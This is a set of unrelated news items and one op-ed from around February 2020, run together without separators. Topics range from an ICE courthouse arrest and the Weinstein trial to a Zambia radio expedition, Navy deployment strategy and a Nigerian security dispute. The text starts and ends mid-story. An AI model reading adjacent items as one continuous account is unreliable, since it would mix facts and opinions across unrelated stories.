Statement by ICE About Federal Law Enforcement According to ICE, the law of California does not overtake the federal law. Also, it claims that state law does not have the authority to govern federal officers during the accomplishment of their duties. It means that the state law does not have the power to prevent federal officers from enacting the laws passed by Congress. These laws include the authority to perform administrative arrests of illegal immigrants residing in the United States. According to David Jennings, the field office director of ICE in San Francisco, ICE agents who are enforcing laws on immigration are not to be restricted by sanctuary laws. California's Anti-Immigration Arrest Law California is one of the many states that implement a rule regarding the arrests of immigration officers inside courthouses. In 2019, Governor Gavin Newsom signed a law that prevents immigration officers from arresting while in courthouses without the issuance of a warrant by a judge. The arrest made at the Sonoma County happened after the United States Customs and Border Protection officials had announced that the agency will be participating in the increased immigration enforcement by ICE. These efforts by ICE will be implemented all over the country with powers surpassing laws implemented by each state. Comments About the Arrest Jill Ravitch, a Sonoma County District lawyer, Kathleen Pozzi, a public defender and attorney, and Chesa Boudin of the San Francisco District had viewed the arrest as a threat to the safety of the public. Bruce Goldstein, a Sonoma County Counsel commented that the act of the ICE agents was lawless due to their failure to first present a warrant of arrest. The Arrested Men According to ICE, both men were taken by the immigration agents multiple times from 2004 until 2010. Also, the two men had been deported to Mexico multiple times in the past. In one of the arrests, an investigator and a public defender from Sonoma County had asked questions to the ICE agent who was leading a 37-year-old man to an unmarked law enforcement car, he did not reply. The agent was seen not wearing a uniform. The arrested man was detained on the second floor of the hallway of the courthouse before he was able to present himself at his court hearing. The man was a carpenter who was trying to resolve his case on Tuesday. He was arrested for the suspicion of domestic violence and drunk driving. 9J2LA Zambia DXpedition news Some good news have to be shared. After an endless long process to get our Zambian license we are finally there. A big thanks to Mario/9J2MYT (IK1MYT) and Brian/9J2BO in Lusaka who helped us achieving this important goal. The license has been received just before the weekend. We are concentrating on our boy scout trip now. Our QTH in Zambia is secured, bus transportation from Lusaka airport to the lodge is booked and flight tickets are purchased. We are still working on customs clearance details, but we hope that we have it sorted out soon. We will leave Oslo the 4th of March at 18:45 with a scheduled arrival at Lusaka airport the day after at 12:30 local time. Lets hope that the customs clearance will go smooth and dont make too much of a headache ... however, you never know. The bus ride to the QTH is short of 2 hours, depending on traffic. Furthermore there is an ongoing power shedding through the whole country right now as it has been over the last few months. The reason is that the country has some issues with one of the main power electricity generators. According to our last conversation with the lodge owner, they suffer 4 hours of power cut each evening. For this reason, we are also in the process of purchasing a portable electricity generator as a backup. The rainy season that comes late this year, has been rather dry as well. Stay tuned for more updates coming up soon! 73 de Rune LA7THA 9J2LA Team Leader EDITOR'S NOTES: The 9J2LA team is planning to be active from Zambia between March 5-15th. Activity will be on 160-6 meters using CW, SSB, RTTY and FT8. The update suggested frequencies are: CW - 1826.5*, 3524, 7024, 10124, 14024, 18074, 21024, 24894 and 28024 SSB - 7082, 14185, 18140, 21295, 24955 and 28495 RTTY - 7045, 10142, 14082, 18096, 21082, 24912 and 28082 FT8 - 1844/1908**, 3590, 7060, 10140, 14086, 18104, 21095, 24918 and 28095 6m - 50104/CW and 50313/FT8 (*) 160m: 1826.5 kHz lsn dwn for JA, up for EU, NA and other continents. (**) 160m: FT8, QSX 1908 for JA 9J2LA TEAM plans to use FT8 as the primary data mode. They will use FT8 DXpedition mode, operating as the Fox. If you hear them on the normal FT8 frequencies, they will not be using DXpedition mode and only work one station at the time. If the number of callers is high, they will announce a QSY to their DXpedition frequencies. QSOs will be uploaded to ClubLog if internet access is available. QSL via M0OXO QSL service. The 9J2LA Web page is available at: https://9j2la.com Facebook and Twitter will be used for Breaking News the weeks before departure and during the Expedition. The media Web pages are: FaceBook: https://www.facebook.com/9j2la Twitter: https://twitter.com/9J2LA New Delhi, Feb 22 : Shaheen Bagh protesters on Friday told the Supreme Court-appointed interlocutors that if the road parallel to the protest site was opened, the court should pass an order ensuring their security. On the third consecutive day, since the Apex Court called for moving the protest to another site, issue of security took the centre stage of the discussion between protesters and interlocutors. The protesters asked Delhi Police to assure them of safety in writing, and if there is a single incident of attack or firing, the police officials, from the SHO to the police commissioner, should be shunted out. Advocate Sadhana Ramachandran then asked, "Tell me one thing, who has surrounded the road on the other side? " To that protesters replied: "We have not blocked the road." The interlocutors then called the administrative officials in front of everyone and asked about the safety of the protesters, after which the administration said that they will give full protection to the protesters. Talking to the protesters in Shaheenbagh, the interlocutor Ramachandran said, " If you believe that we are all citizens and do you believe that we all have the right in the constitution, then we should also find a solution together. Shouldn't this path be opened? We have to find a small solution where the protest doesn't cause any problem to other people." Tennessee anglers who enjoy delayed harvest streams get an extra day of fishing this year. Delayed harvest regulations are in effect through Feb. 29 on sections of Doe River, Hiwassee River, Paint Creek, Piney River and Tellico River. Beginning March 1, anglers can begin harvesting trout from these sections that have been catch and release since early fall. March 1 also marks the beginning of Spring Trout stocking season on streams throughout the state. Thousands of trout will be delivered to a Tennessee stream near you in the next several months. March 1 is also the start date of special regulations for Tellico River and Citico Creek. March 1 through August 15 portions of Tellico River and Citico Creek are closed to fishing on Thursday and Friday and a Tellico/Citico permit is required. Tellico and Citico will be stocked prior to the March 1 opening to provide anglers with the maximum number of trout fishing days during the permit season. This means anglers get a special treat on Leap Day, February 29. Trout anglers will be able to fish and harvest trout on Citico Creek and that portion of Tellico River from the confluence of North River downstream to Turkey Creek without the Tellico/Citico permit. The delayed harvest regulation will still be in effect from North River upstream to the TN State line, so no harvest in this area on Saturday, Feb. 29. To see fishing regulations visit tnwildlife.org. Gaston D. Cox has published his latest book Aurea Mediocritas: A Book of Short Stories: an entertaining collection of short works of fiction. The term, Aurea Mediocritas refers to the golden mean, a balance between two extremes. The characters in Queerious, faced with insurmountable odds in a society unaccepting of same-sex relationships and the hidden secrets which have divided the family. The story In a Nutshell, features an expedition in the Amazon, where an ancient ritual amulet is discovered by a young boy. He makes a wish on the amulet and rapidly began to age twenty-five years older. The boys father makes a bargain and faces the consequences of his sacrifice at a price too dear to pay. The father desperately searches to find a balance between dealing with his own demons and striving to save his son. In The Tagua Nut, a young Japanese girl immigrates to the USA and joins an international police task force, where she was assigned to a US federal case. On an assignment in Japan to bring back a crime boss who has fled from prosecution, she unravels an old Japanese cold case and found the man who killed her father and brother. She struggles to find balance: exact revenge, or complete her mission? Published by Page Publishing, Gaston D. Coxs engrossing book is a triad of thought-provoking stories that draw the reader in with complex character portraits and compelling plots. Readers who wish to experience this engaging work can purchaseAurea Mediocritas: A Book of Short Stories at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. In this July 11, 2019, file photo, Attorney General William Barr, left, and President Donald Trump turn to leave after speaking in the Rose Garden of the White House in Washington. Barr took a public swipe Thursday at Trump, saying that the presidents tweets about Justice Department prosecutors and cases, like Roger Stone's, make it impossible for me to do my job. Read more It is a sign of our times that Attorney General William Barr tried to do something right and some illiberal liberals, including not a few in the media, decided that it was wrong on the basis of mindless presidential squawks, factual ignorance, and in some cases, political opportunity. What it adds up to is that the illiberal liberals are doing what they accuse Barr of doing, namely going to war with justice and other basic democratic principles. But at least Judge Amy Berman Jackson saw the light. What she did was sentence Roger Stone to three years and four months in prison instead of the seven to nine years initially recommended by four prosecutors whose numbers included two Mueller probe attorneys. There are experts saying they were way out of line, but lets get there by first observing that Stone is an author, a long-term political player majoring in wily tricks, and a friend of President Donald Trumps enough right there to get him in trouble Back during the 2016 campaign, he tried to communicate with WikiLeaks, which was passing around emails revealing behind-doors discussions in Hillary Clintons campaign. He tried to get a radio host to back up misinformation and he didnt. Stone then told him he should prepare to die and that he would kill his dog if he didnt shut up. There was a trial, Stone was found guilty, and it was then that the prosecutors recommended putting him in prison for seven to nine years. However, these guys do not act independently but have to report to a Department of Justice supervisor, who reviewed the sentencing recommendation they wanted to hand the judge and who first off is reported to have said this doesnt work. Experts explain that there are sentencing guidelines and varied factors that can be taken into consideration. For instance, we are informed, the radio host, also a leftist comedian, knew Stone well enough not take the threat about his dog or dying seriously, and that would seem to mean there was no violence in the tampering. It has also been observed that Stone was a first offender, that he was 67 years old and in bad health, and that the Mueller probe never found any kind of illegal collusion with the Russians. The Justice Department supervisor reportedly said the sentencing should be something between three and four years, and the prosecutors snarled and threatened to resign, which means that either way they would get their way get the sentence recommendation they wanted, or make the department look like a political coddler. The supervisor is said to have backed down, but Barr and others looked at the issue. Trump jumped in, broadcasting how awful the sentence recommendation was, and the world came tumbling down. Barr, who also wanted a milder sentence, asked Trump to please shut up, and then, when he didnt, threatened to resign, but we still had partisan punchers in Congress saying Barr should resign. On top of that, there were 1,100 former Justice Department employees asking for his resignation through a nonprofit group that one journalist disclosed had been founded by progressives who also cheered the Mueller probe. Then there were the judges who also objected to the new recommendation, even though it was still just a recommendation. The court did not have to heed it. Even though Trump is an outrage who just keeps on giving to his political enemies, it is a fact that federal prosecutors are answerable to the Department of Justice. As Kimberley Strassel in the Wall Street Journal has argued, the idea that all federal officials out there should be unanswerable to anyone is a description of the administrative state that more and more runs our affairs. Some things to keep in mind: The whole trial may be thrown out because of apparent anti-Stone bias by a juror. The Justice Department has outright skipped prosecuting some highly suspect liberal folks. And the left hates Barr, maybe the best thing that has happened to the Trump administration, because he secured a superb prosecutor now investigating possible criminal activity by officials involved in phony FISA warrants and the Mueller probe. Jay Ambrose is an op-ed columnist for the Tribune News Service. speaktojay@aol.com Source: Xinhua| 2020-02-21 15:52:45|Editor: huaxia Video Player Close BEIJING, Feb. 21 (Xinhua) -- Some 99 percent of China's major chain supermarkets have resumed operation after a long holiday break disrupted by the outbreak of the novel coronavirus disease (COVID-19), industry data showed. About 42 percent of the country's shopping centers, department stores and specialty stores have resumed business, according to data from the China Chain Store and Franchise Association. The government has urged supermarkets and grocery stores to return to business as soon as possible in an effort to ensure daily supplies for the people, who are encouraged to stay at home to avoid further spread of the virus. Supermarkets usually provide some 60 to 80 percent of daily necessities to local residents, a survey from the association showed. By the end of Feb. 15, about 70 percent of supermarket employees have returned to work, up from 56 percent by Feb. 6, the association said. Now the arbitration should begin consideration of the claim of Ukraine against Russia on the merits. Ukrainian Minister of Foreign Affairs (MFA) Vadym Prystaiko says the Hague Arbitration Tribunal has reaffirmed its jurisdiction to consider Ukraine's claim against Russia on the Sea of Azov and the Kerch Strait. "The Law of the Sea case goes forward! The Hague Arbitration Tribunal reaffirmed its jurisdiction to consider Ukraine's claim on the Sea of Azov and the Kerch Strait, as well as the expropriation of our natural resources," he said on Twitter on February 21. "This applies to the illegal construction of the Kerch bridge by Russia as well as the harassment of navigation in the Sea of Azov," he said. Read alsoRussia-controlled "court" in occupied Crimea rules to remand detained Ukrainian fishermen in custody for 10 days At the same time, the minister did not indicate that the arbitration would consider Ukraine's lawsuit against Russia regarding the Black Sea. As UNIAN reported earlier, on September 14, 2016, Ukraine initiated a dispute with the Russian Federation regarding its violation of the UN Convention on the Law of the Sea. A statement by Ukraine's Foreign Ministry emphasized that Kyiv was ready to prove in arbitration that Russia impudently violates the sovereign rights of Ukraine to enjoy guaranteed rights in its sea waters and on the continental shelf in the sea zones adjacent to Crimea, including the right to use natural resources of the continental shelf. On February 19, 2018, Ukraine sent the International Tribunal a memorandum that contains a statement of all the circumstances on which Ukraine's position is based, as well as their legal justification. In May 2018, Russia lodged an objection with the International Tribunal regarding the jurisdiction of this institution to consider Ukraine's lawsuit against the Russian Federation. For this reason, in August of the same year, the arbitration decided to divide the process into two components jurisdictional and substantive ones. Ukraine's Foreign Ministry says the Russian Federation's objections to the jurisdiction of the arbitration to consider the lawsuit regarding the violation by Russia of the Convention on the Law of the Sea are groundless. Tesla's Model 3 has been analyzed by Nikkei Business Publications. According to the results, Tesla is years ahead of the established companies in the electronics sector. Although Tesla builds significantly fewer cars than the established manufacturers, the company is years ahead in electronics. This is the result of an analysis ordered by Nikkei Business Publications, which examined Tesla's Model 3. The central control unit ("Hardware 3") in particular attracted the attention of the analysts. It is also installed in all new cars of the Model S and Model X series. According to Nikkei Business Publications, the units contain two customer-specific AI chips, each 260 mm in size, which Tesla has developed itself, including the associated software. The unit controls both the cars' self-drive functions and the infotainment system. According to the experts, this design would not generally become generally accepted until 2025, so Tesla would have a six-year lead at this level. Tesla had already developed an autopilot in 2014, then called "Hardware 1". The driver assistance system could make the car follow other cars on motorways and keep in lane. Since then, Tesla had continuously developed the hardware further. According to Elon Musk, it already contained all the functions needed to allow the car to drive not only at level 2 but fully autonomously. The established manufacturers could also develop such central systems. But currently, most manufacturers' cars contain many decentralized ECUs instead of fewer or only one central unit. Replacing them in the short term would upset the supply chain and most incumbent manufacturers would be reluctant to do so. Newcomers to the market, on the other hand, would be free to acquire the best available technology. Tesla would do this: Many components in the car analysed would not bear the name of a supplier, but the Tesla logo. The company would therefore have very strict control over the development of key technologies in the car. The bad blood between Harvey Weinstein's lawyer and celebrity attorney Gloria Allred was on full display on Friday with the women trading blows during the Hollywood producer's rape trial. Allred, who represents some of Weinstein's alleged victims, accused defense lawyer Donna Rotunno of trying to intimidate her by towering over her in Jimmy Choo heels during a heated courtroom exchange. The confrontation happened in court on Friday morning before the jury started day four of their deliberations in Weinstein's rape trial. Rotunno approached Allred as she sat in the front row of the public gallery and could be seen pointing her finger and whispering furiously at her. She confronted her after hearing claims Allred had allegedly disclosed on camera that jury deliberations were being cut short on Friday because Rotunno had to attend a funeral. The bad blood between Harvey Weinstein's lawyer Donna Rotunno and celebrity attorney Gloria Allred was on full display on Friday with the women trading blows during the Hollywood producer's rape trial She accused Rotunno of trying to intimidate her by towering over her in Jimmy Choo heels during the confrontation Much of their exchange was inaudible but Rotunno could be heard telling Allred: 'Don't discuss my personal life'. Allred hit back: 'You are out of control. I did not say that You are once again distorting the facts.' Rotunno went on to address the matter with the judge and asked for a gag order to be placed on Allred to stop her speaking about the defense attorney to the media. Weinstein's lawyer has already been hit with a gag order that bans her from speaking to the media after she published a Newsweek op-ed urging jurors to find Weinstein not guilty. 'Miss Allred feels the need to go out on a daily basis to attack me, which is fine. She can attack me whenever she wants. However, she's announcing to the media that I have to leave to attend a funeral,' Rotunno said. 'I think it's out of line and unprofessional. 'It's not someone in my family - to put those people the position where their lives are potentially out there is wrong. She doesn't care about what's wrong. It's horrible behavior to talk about personal lives.' The judge made no comment and did not rebuke Allred. Rotunno has previously been dubbed the 'the anti-Gloria Allred' because of her track record representing men accused of sexual assault. Allred is known for representing some of Weinstein's accusers. Hours later, Allred poured heat on Rotunno as she held a press conference on the steps outside the court. She said she didn't know what Rotunno's problem was and described the confrontation as tense. Allred held a press conference outside of court on Friday after a heated exchange with Rotunno Rotunno (pictured leaving with Weinstein) approached Allred as she sat in the front row of the public gallery and could be seen pointing her finger and whispering furiously at her 'I would say it was tense. She's a lot taller than I am in her Jimmy Choos - even probably without them,' Allred said. 'But that's okay, I can defend myself. Bigger and better have tried to attack me unsuccessfully, I just pull out my equal rights brochures and everybody runs away.' Allred said she never gave an interview about Rotunno attending the funeral and was speaking off-camera at the time. She claims she didn't speak to any reporters about why Rotunno had to leave court early on Friday. She went on to say she'd never even heard of Rotunno prior to Weinstein's trial. 'I have better things to do than be dealing with her and her issues. She needs to speak to someone who can help her with her issues. I'm not the person except to give her the truth,' Allred said. 'I'd never heard of Donna Rotunno before this trial, I'm sorry to say. She's never like been a blip on my screen even until somebody told me she was the anti-Gloria Allred. 'So God bless her, I'm glad she's got a high profile case and she can move on but she needs to get a little control over herself and her temper. Controlling your temper is always a good thing and not to be triggered or not to make a scene with little dramas, there's enough drama in this case.' Asked how it ended, Allred said Rotunno 'went off in a huff'. 'My question is was Donna acting when she created a drama in front of everybody? If she was serious about this she could have said can I speak to you privately in a hallway. Does she want the attention? Is she super nervous? I'm not a psychiatrist so I don't know. I'm not here to analyze her, she needs to chill.' Asked if it was unfair that Allred could speak to the media but Rotunno couldn't because of the gag order, she said: 'Donna: you can't handle the truth'. Weinstein's lawyer has already been hit with a gag order that bans her from speaking to the media after she published a Newsweek op-ed urging jurors to find Weinstein not guilty It came as the judge in Weinstein's trial has ordered the jury to continue deliberating after jurors indicated they were deadlocked on the most serious charges that could see him jailed for life. Jurors sent a note on Friday afternoon asking if it was permissible for them to be hung on two counts of predatory sexual assault while reaching a unanimous verdict on other charges. After consulting with prosecutors and Weinstein's lawyers, Judge James Burke told the jury of seven men and five women to keep working toward a unanimous verdict on all charges and sent them back to continue deliberating. Weinstein's lawyers said they would accept a partial verdict but prosecutors said no and the judge refused to do so. Shortly after, the jury was sent home for the day and will resume deliberations again on Monday. As Weinstein left court he was asked about his lawyers accepting a partial verdict and shrugged his shoulders. He did not respond when asked if this was an admission of guilt. The jury, in its fourth day of deliberations, have repeatedly been focusing on Annabella Sciorra's claim that Weinstein raped her in her Manhattan apartment in the mid-1990s. Weinstein is charged with five counts stemming from the allegations of Sciorra and two other women - aspiring actress Jessican Mann who says he raped her in 2013 and former production assistant Mimi Haleyi who says he forcibly performed oral sex on her in 2006. While Sciorra's accusation is too old to be charged on its own because of the statute of limitations, it is a key component of the most serious charges that jurors are weighing in the closely watched #MeToo case. Her rape allegation is the basis for the two counts of predatory sexual assault - a charge that carries a maximum penalty of life in prison. To convict Weinstein of that charge, jurors must agree on two things: that Weinstein raped Sciorra and that he committed one of the other charged offenses related to Mann or Haleyi. He is also facing two rape charges for Mann's accusations and a criminal sexual assault charge for Haleyi's forced oral sex allegation. The jury's latest note suggests they have made a decision on Mann and Haleyi's sole allegations but there is no indication if it would find Weinstein guilty or not guilty. Sailors stand on the flight deck after launching an F/A-18F Super Hornet from the the Nimitz-class aircraft carrier USS Harry S. Truman (CVN 75) in the North Atlantic on Sept. 18, 2018. (2nd Class Anthony Flynn/DoD) Ready and Waiting: Military Counts Cost of New Deployment Strategy For decades, sailors' families and U.S. adversaries could set their calendars by deployment cycles. That has changed American military wives and Iranian Revolutionary Guards used to share the same comfort of the ticking U.S. military clock. Two, sometimes three years in advance, they knew how the aircraft carrier groups would rotate through the Arabian Gulf and back to U.S. shores. Similarly, Chinas commanders, building up their island bases, could rely on the same cycles. Two years ago, that pattern was broken. In 2018, for the first time in a decade, the Arabian Gulf was left without an aircraft carrier strike group, as the USS Harry Truman sailed to the Arctic Circlethe first carrier to patrol there since the Cold War. It was the first taste of a new strategydynamic force employmentdesigned to keep U.S. adversaries guessing. The aircraft carrier USS Harry S. Truman (CVN 75) transits the Arabian Sea on Jan. 31, 2020. (2nd Class Scott Swofford/DoD) Now, with a couple of years of experience under its belt, the U.S. military is taking stock, analysts sayand counting the costs. Ready and Waiting You could tell, three years out, basically where each U.S. carrier task group would be in the world, said Dr. Sidharth Kaushal, research fellow at the Royal United Services Institute, referring to the past cycles. The traditional model of employment of Naval task forces involved a fairly long time at seafor example in the realm of seven to eight monthsfollowed by a sustainment phase of heading back to the continental USA for a refit and resupply, he told The Epoch Times. The problem with these clockwork cycles, the norm since the Cold War, was that they also telegraphed plans to adversaries, Kaushal said. For the past two years, the Navy, along with the Army, has begun to experiment with dynamic force employment. If adversaries dont know when a carrier will be on station, dont know where a carrier is going, when its deployed from the U.S., or where it might end up, they cant very easily read the U.S.s intentions, Kaushal said. Dynamic force employment means that carriers are no longer methodically rotating through regions. Instead, they sit in port at home, ready and waiting, like the sailors and their loved ones. The new strategy follows the demands of the 2018 National Defense Strategy for the military to be strategically predictable, but operationally unpredictable, Bryan Clark, senior fellow at the Center for Strategic and Budgetary Assessments, told The Epoch Times. U.S. allies and adversaries know that U.S. forces will be deployed overseas and will respond quickly if theres a crisis. But day-to-day, they wont know whether U.S. force deployments are going to happen. Its not just the Navy thats been trying to implement this strategy of unpredictability, Clark said. The Armys deployments to Europe and the Pacific Pathways are also linked to dynamic force concepts. Revamping for Great Power Competition Pentagon leadership is pivoting the military away from counter-insurgency toward the challenge of renewed great power competition with Russia and China. Russia, and even more so China, have been chipping away for decades at the post-Cold War supremacy of the U.S. military, using the latest technology to precisely target U.S. strategy and equipment. While the United States was mired in the war on terror, Chinas military spending increased around tenfold, according to many estimates. Since 2018, the U.S. military has been revamping to meet the challenge. In addition to replacing Cold War-era equipment, the generals are rethinking decades-old strategies. The Marine Corps is reorienting itself to go back to its amphibious roots as an expeditionary force to focus almost entirely on the Pacific. MARSOC (Marine Special Forces operations) combat diver (image sourced from public domain, U.S. Marine Corps photo by Cpl. Steven Fox/Released) The Army has overturned the norms of acquisitions, trying to get new technologies into the hands of soldiers as fast as possible, to harness the exponential growth of digital technology. Navy strategists are looking at more numerous smaller, unmanned boatsand putting less emphasis on carriers and large amphibious ships. The Price of Maintenance The challenge for dynamic force employment is keeping a larger proportion of the military prepped and ready to go, Clark saidwhich means more money. Right now, operations and maintenance costs are the fastest-growing part of the DoD budget and have been actually crowding out procurement to some degree in this current budget, he said. Service leaders are concerned that as the cost to maintain the force ready increases, their ability to equip the force with new technology is going to be reduced. The White House highlighted maximizing readiness as one of the features of the FY 2021 budget request submitted to Congress earlier this month, which it says puts aside a total of $126 billion for readiness and increases troop numbers by 5,600 in total. A sailor stands on the flight deck during flight operations aboard the Nimitz-class aircraft carrier USS Harry S. Truman in the North Atlantic on Sept. 18, 2018. (2nd Class Anthony Flynn/Released/DoD) But in ramping up for dynamic force employment, according to Clark, the Pentagon has stumbled on a new dilemma: keeping forces on such a heightened state of readinessbut not deployedcosts nearly as much as an actual deployment. In other words, the main cost of deployment is in being ready. By maintaining these units at a high level of readiness, all you really save is the actual movement to the deployment area in terms of fuel, Clark said. The Pentagon has been taking advantage of this equation by shifting slightly back toward a more stable deployment pattern, he said. You might as well harvest the benefits of deployment if you are going to pay for them, Clark said. In theory, less overall deployment is needed with dynamic force employment, he said. This is because of the stronger deterrent effect of a less predictable force. But with little cost saving in not deploying, he thinks that the Navy will deploy the same levels as before. DoD is still trying to wrestle with how much they can really reduce the average number of deployments, he said. Changes to carrier groups in the Arabian Gulf over the past two years are often cited as the first example of dynamic force in action. For the past decade or so, carriers have been a constant presence in the Gulf. During 2018 and 2019, they deployed carriers instead to Europe, to the North Atlantic, to the Mediterranean, and then just accepted a reduction in carrier deployment overall, Clark said. They accepted that gap, but the expectation was that they could deploy carriers wherever they want, and they deployed carriers to the European theater instead, to give the Russians something to think about. Allies in the Dark The United States is the only Navy in the world to have adopted such a strategy, Kaushal said. Other forces simply dont have the military muscle or money; nor do they shoulder the same international burden. But the new strategy brings challenges to maintaining relationships with allies who are used to seeing forward-deployed American forces as proof of commitment. The U.S. military wouldnt inform allies in advance of their plans, according to Kaushal. He said America needs to communicate with allies to make sure they dont misread the shift in strategy as abandonment. In the past, Americas generals were charged with creating credible deterrence through being able to guarantee victory in all-out war. But in recent years, adversaries such as China and Russia have developed new tactics that exploit the gray area between all-out conflict and peace: the so-called gray zone. U.S. military planning now demands that the United States be able to tussle with adversaries in that gray zonewhat is also sometimes called below the threshold of conflict. For now, dynamic force deployment has a limited effect in the gray zone, because for now, the U.S. military comes in packages that are too large. But that may change if the United States adopts the advice of many strategists pushing for the adoption of smaller units. In theory, if you have a more dynamic deployment, you dont have to send them in big packages, Clark said. So your forces dont need to go out as brigade combat teams, carrier strike groups, Air Force air expeditionary wings. The problem is that the Pentagon doesnt have smaller packages. Your smallest unit of issue for a ship is the littoral combat ship. The Navy is trying to use littoral combat ships to try to do some of that gray-zone work, Clark said. The littoral combat ship USS Forth Worth arrives at the port of Galveston, Texas, to prepare for its formal commissioning ceremony on Sept. 17, 2012. (Thomas B. Shea/Houston Chronicle via AP) But even now, dynamic force deployment will make adversaries think twice about gray-zone aggression, Kaushal said, because they are no longer certain when a U.S. carrier group might appear on the horizon. Back Home Naval commanders during the Cold War also used to keep adversaries guessing about the location and destination of carriers as they sailed through multiple regions, Kaushal said, but not to the level of dynamic force employment. [Dynamic force employment] is in some ways a return to form, but in terms of its intensity and just how short the cycles are, its a new take on an old way of doing things, he said. Kaushal and Clark both think that dynamic force employment is here to stay. I think its definitely going to intensify, Kaushal said. Not only is it embedded in the Navys thinking, its also spreading to the other services. I would say this is definitely one of the things that will outlive [former Defense Secretary James] Mattiss tenure in office. Apart from the cost, another drag on dynamic force employment is likely to be the effects on those waving goodbye to their loved ones from the quaysides in San Diego and Norfolk, Virginia. We are not yet seeing the impact of that in terms of morale or retention, but we will, Clark said. It will take a couple of years to manifest itself. Family and friends wait on the pier for sailors aboard the Nimitz-class aircraft carrier USS Harry S. Truman (CVN 75) to return to Naval Station Norfolk, Virginia, on 16 Dec. 2018. (Mass Communication Specialist 2nd Class Anthony Flynn/Released) When we had more predictable deployment patterns, you knew months or years in advance when your next deployment was going to be. Now thats much less true, Clark said. In the past, when troops were ready, they would leave right away. Now, they may leave immediately, or they may wait several months. And in the past, when troops got back from deployment, they would quickly stand down. Now, some returning troops remain ready to go. The intensity of operations and uncertainty might appeal to some adventure-seeking troops, Clark said. But it also means that you cant depend on that deployment schedule like you used to, which, with families, is hard. SYRACUSE, N.Y. The effectiveness of flu shots is good this season, especially for kids being hit hard by the virus, according to the federal government. Preliminary estimates by the Centers for Disease Control and Prevention show this seasons version of the vaccine is reducing childrens risk of getting the flu by 55%. The vaccine is effective 45% of the time in the general population. Vaccine effectiveness in previous seasons has ranged from 40% to 60%, the CDC said. The state Health Department reported Thursday a second Central New York child has died of the flu. There have been six pediatric flu deaths in New York and 92 nationwide so far this season. The term pediatric applies to children 17 and under. Public health officials say getting a flu shot is the best way to protect children and people of all ages against the virus. The flu vaccine is reformulated every year long before the flu season begins to target flu strains that may circulate. The reformulation process is based on educated guesswork. Some years the vaccine is very effective, other years not. The CDC estimates the vaccine is 25% effective among adults 18 to 49 and 49% effective for people 50 and older. This season began with a surge of influenza B, a strain that has hit children the hardest. That raised concerns about vaccine effectiveness. The CDC said the preliminary estimates are reassuring because they show the effectiveness of the vaccine against influenza B is similar to past seasons when there was a good match between the vaccine and circulating flu viruses. There are now equal numbers of influenza A and B cases being reported nationwide. Both strains can cause severe illness, including hospitalizations and deaths. Central New York is seeing more flu activity than any other part of the state. There were nearly 160 lab-confirmed flu cases per 100,000 people in Central New York last week, the highest rate of any region. Where to find a flu shot James T. Mulder covers health news. Have a news tip? Contact him at (315) 470-2245 or jmulder@syracuse.com Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. The Chief of Army Staff, Tukur Buratai, appears to have taken sides with Abba Kyari in the chief of staffs raging battle against the national security adviser, Babagana Monguno, PREMIUM TIMES can report based on fresh documents and knowledgeable officials. In a move decried within the national security circles as being aimed more at cutting the NSA to size than maximising personnel efficiency, Mr Buratai ordered the immediate withdrawal of top army officers attached to the Office of the National Security Adviser (ONSA) earlier this month. A few days after seven colonels and three army generals serving at the NSA were ordered to leave without being replaced on February 4, the remaining team of 13 army officers serving at the NSA were notified to report elsewhere on February 10, leaving the fortified ONSA facility without any army protection, according to security sources and the notice of deployment seen by PREMIUM TIMES. Twenty-three army officers serving at the ONSA were posted out without being replaced in two batches on February 4 and 10, documents showed. Mr Monguno was away from the country at the time of the postings, our sources said, but he rejected the entire exercise as a charade upon his return and ordered the personnel to disregard Mr Buratais directive and remain in place. Yet, Mr Buratai himself has not rescinded his decision, over two weeks after the first letters of deployment went out. Vindictive postings Mr Buratai approved postings of about 137 army officers serving in over a dozen military departments and formations between February 4 and 10. Twenty-three army officers serving at the NSA were transferred out without being replaced, the largest redeployment from a single outpost. The officers consist of two majors-general, one brigadier-general, seven colonels, seven lieutenant colonels, five captains and one lieutenant. Those affected include Adeyinka Famadewa, a major-general and principal staff officer to the NSA, PREMIUM TIMES learnt. Ado Ibrahim, a colonel and military assistant to the NSA, was also transferred and given three days to report at his new posting in Jaji, home of the military infantry in Kaduna State. Other than core intelligence analysts of non-uniform career, the NSA, which coordinates all intelligence and security agencies of the Nigerian government, has always been staffed largely by personnel from security and law enforcement agencies in the country, according to officials familiar with its personnel practice. The Nigerian Army, Nigerian Air Force, Nigerian Navy, police, State Security Service, the Economic and Financial Crimes Commission, the National Intelligence Agency, the civil defence, Nigeria Customs Service, Nigeria Immigration Service all have personnel at the NSA. Any federal law enforcement agency you could think has personnel at the NSA, but most of the directors there are military officers, a former official of the agency told PREMIUM TIMES. The former NSA official, who spoke under anonymity because he is still in service, said all the agencies have the powers to make changes to their respective personnel serving there. But it has to be in liaison with the NSA before officers could be changed or withdrawn, the source said. This is because it takes a cumbersome process to vet personnel before they are admitted at the NSA and some requirements have to be satisfied before they are posted out. National Security Adviser, Babagana Monguno Mr Monguno returned to the country in the middle of the postings between February 4 and 10. The first batch of the redeployment was reported by Daily Nigerian on February 7, but additional details like the second and total withdrawal of army officers and the lingering stand-off that emanated from it are just being uncovered by PREMIUM TIMES. All the officers posted out of the NSA were ordered to report at their new posting within three days, failure of which they could face disciplinary action, the transfer memo said. But Mr Monguno allegedly insisted the officers would not leave the NSA, dismissing their transfer as a vindictive measure taken by Mr Buratai to stand in solidarity with Mr Kyari, who is allegedly helping to keep the service chiefs in office despite public outcry and a resolution by both chambers of the National Assembly. Army spokesperson Sagir Musa declined requests seeking comments over the crisis. The NSA does not have a spokesperson. DOCUMENTS SHOWING ARMY POSTINGS A rudderless team Mr Buratais determination to cut army support to the ONSA and Mr Mongunos decision to spurn it has resulted in a stand-off that could threaten the countrys stability, as military officers are caught between obeying their most-senior commander and another authority that supervises the entire military architecture, security experts said. The confrontation marks one of the most damaging fallout of a ceaseless animosity between the NSA and Mr Kyari, a former journalist and banker now widely considered the most powerful associate of the president. Advertisements It came a few weeks after Mr Monguno, a retired army general who led the military intelligence for several years, wrote a series of memos 